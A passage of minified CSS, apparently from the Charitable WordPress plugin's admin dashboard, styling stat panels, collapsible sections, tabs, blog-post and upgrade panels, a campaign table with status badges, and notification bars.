rgba(25,29,45,.15);border-bottom:1px solid rgba(25,29,45,.15)}.charitable-dashboard-v2-stat-item{flex:1;padding:30px;border-right:1px solid rgba(25,29,45,.15);text-align:left}.charitable-dashboard-v2-stat-item:last-child{border-right:none}.charitable-dashboard-v2-stat-title{font-family:Inter;font-weight:500;font-style:normal;font-size:12px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.6);margin-bottom:8px}.charitable-dashboard-v2-stat-amount{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8);display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-stat-change{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:#31944d}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-positive{color:#31944d}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-negative{color:#dc2626}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-zero{color:#000}.charitable-dashboard-v2-layout{display:flex;gap:20px;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column{flex:0 0 700px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:0 0 452px;display:flex;flex-direction:column;gap:20px}@media (max-width:1200px){.charitable-dashboard-v2-layout{flex-direction:column}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column,.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:1 1 100%}}.charitable-dashboard-v2-section{background:#fff;border:1px solid rgba(24,36,69,.1);border-radius:4px;box-shadow:0 3px 3px rgba(0,0,0,.05);min-height:120px;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header{height:70px;background:#fff;border-bottom:1px solid rgba(24,36,69,.1);display:flex;align-items:center;justify-content:space-between;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header h3{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:17px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle{display:flex;align-items:center;justify-content:center;width:24px;height:24px;text-decoration:none;color:rgba(25,29,45,.6);transition:color .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle:hover{color:rgba(25,29,45,.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{font-size:16px;transition:transform .3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav{display:flex;align-items:center;height:100%;width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item{display:flex;align-items:center;height:100%;padding:0 30px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.5);text-decoration:none;border-right:1px solid rgba(24,36,69,.1);transition:color .2s ease;cursor:pointer}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:last-child{border-right:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:hover{color:rgba(25,29,45,.7)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item.charitable-dashboard-v2-tab-nav-active{color:#33842a;border-bottom-color:#33842a}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content{padding:0 0 20px 0;transition:all .3s ease;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-enhance-grid){padding:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-latest-updates-background){padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content{display:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content.charitable-dashboard-v2-tab-content-active{display:block}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible .charitable-dashboard-v2-section-content{max-height:none;opacity:1;transition:max-height .3s ease,opacity .3s ease,padding .3s ease}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-section-content{max-height:0!important;padding-top:0!important;padding-bottom:0!important;opacity:0;overflow:hidden}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{transform:rotate(-90deg)}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section){padding:20px}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) h3{margin:0 0 15px 0;color:#303442;font-size:18px;font-weight:600}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns{padding:0!important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-header{padding:0}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-content{padding:0 0 20px 0!important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-empty-state{padding:30px 30px 10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content{display:flex;justify-content:center;margin-bottom:30px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items{width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item{display:flex;align-items:center;padding:15px 0;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:first-child{border-top:none;padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:last-child{border-bottom:none;padding-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-icon{width:24px;height:24px;flex-shrink:0;margin-right:15px;display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.8);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer{height:70px;background:#fef8f3;margin:20px 0 0 0;display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content{display:flex;justify-content:space-between;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:right;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link:hover .charitable-dashboard-v2-rate-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars{display:flex;gap:3px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars .charitable-dashboard-v2-star{color:gold;font-size:18px;line-height:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:1fr 1fr;gap:1px;background:rgba(24,36,69,.1);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item{background:#fff;padding:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header{display:flex;align-items:center;gap:10px;margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-icon{width:20px;height:20px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-title{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-description{margin:0 0 15px 0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button{background:#fff;border:1px solid rgba(14,33,33,.14);border-radius:4px;padding:8px 16px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:rgba(14,33,33,.8);cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button:hover{background:rgba(14,33,33,.05);border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#eaa251;border-color:#eaa251;color:#fff}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#d89447;border-color:#d89447}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background{background:#fef8f3;margin:0;padding:20px 25px;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex{display:flex;gap:10px;align-items:flex-start}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon{flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon .charitable-dashboard-v2-latest-updates-icon-placeholder{width:26px;height:26px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-headline{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:-4px 0 15px 0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features{display:flex;flex-wrap:wrap;gap:5px 12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature{display:inline-flex;align-items:center;gap:6px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature .charitable-dashboard-v2-latest-updates-checkmark{width:9px;height:7px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button{background:#5aa152;border:none;border-radius:4px;padding:10px 20px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-size:13px;line-height:16px;letter-spacing:0;text-align:center;vertical-align:middle;color:#fff;cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button:hover{background:#457b3f}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer{height:70px;background:#fff;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link{display:flex;align-items:center;gap:8px;text-decoration:none;transition:gap .3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-blog-text{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:left;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover{gap:4px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover .charitable-dashboard-v2-blog-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts{margin-top:35px;margin-bottom:15px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row{display:flex;flex-direction:row;justify-content:space-between;align-items:center;margin-bottom:40px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row:last-child{margin-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left{width:282px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-timestamp{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.6);margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title{margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:170%;letter-spacing:-.25px;color:rgba(25,29,45,.9);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right{display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right .charitable-dashboard-v2-blog-post-image-placeholder{width:106px;height:56px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:\"\";width:26px;height:26px;flex-shrink:0;background-image:url(\"data:image\u002Fsvg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'\u002F%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'\u002F%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'\u002F%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'\u002F%3E%3C\u002Fsvg%3E\");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section.no-update-alert .charitable-dashboard-v2-blog-posts{margin-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:\"\";width:26px;height:26px;flex-shrink:0;background-image:url(\"data:image\u002Fsvg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'\u002F%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'\u002F%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'\u002F%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'\u002F%3E%3C\u002Fsvg%3E\");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer{height:70px;background:#fff;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:left;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link:hover .charitable-dashboard-v2-addons-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-title{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:.01em;text-align:center;color:rgba(25,29,45,.8);margin:0;padding-top:10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px 0;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:#da9021;border:none;border-radius:4px;padding:22px 42px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0;color:#fff;cursor:pointer;transition:background-color .2s ease;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#d89447!important;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0;text-align:center;text-decoration:underline;color:rgba(25,29,45,.5);transition:color .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25,29,45,.7)}.charitable-dashboard-v2-table td:first-child,.charitable-dashboard-v2-table th:first-child{width:205px;padding-left:30px}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table th:nth-child(2){width:120px}.charitable-dashboard-v2-table td:nth-child(3),.charitable-dashboard-v2-table th:nth-child(3){width:120px}.charitable-dashboard-v2-table td:nth-child(4),.charitable-dashboard-v2-table th:nth-child(4){width:auto}.charitable-dashboard-v2-table td:nth-child(5),.charitable-dashboard-v2-table th:nth-child(5){width:auto;text-align:center}.campaign-title{display:flex;align-items:center;gap:8px}.campaign-title a{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:#191d2d;text-decoration:none}.campaign-title a:hover{color:#4c7bcf}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table td:nth-child(3){font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.status-badge{display:inline-block;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:130%;color:rgba(25,29,45,.8)}.status-badge.status-active{background:rgba(76,123,207,.1);color:#4c7bcf}.status-badge.status-unsuccessful{background:rgba(234,78,100,.1);color:#ea4e64}.status-badge.status-cancelled{background:rgba(153,153,153,.1);color:#999}.progress-circle{position:relative;display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;margin:0 auto}.progress-circle svg{position:absolute;top:0;left:0}.progress-text{font-family:Inter;font-weight:600;font-style:normal;font-size:12px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.8);z-index:1}.charitable-dashboard-v2-notifications{display:block;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto;padding:0;position:relative;background:#fff;border:1px solid rgba(24,36,69,.1);border-radius:4px;box-shadow:0 3px 3px rgba(0,0,0,.05)}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar{position:absolute;top:12px;right:12px;display:flex;align-items:center;gap:8px;z-index:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:static;top:auto;right:auto;display:flex;align-items:center;gap:2px;min-height:auto;padding:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{position:static;top:auto;font-size:24px;line-height:1;padding:2px 4px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 2px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar 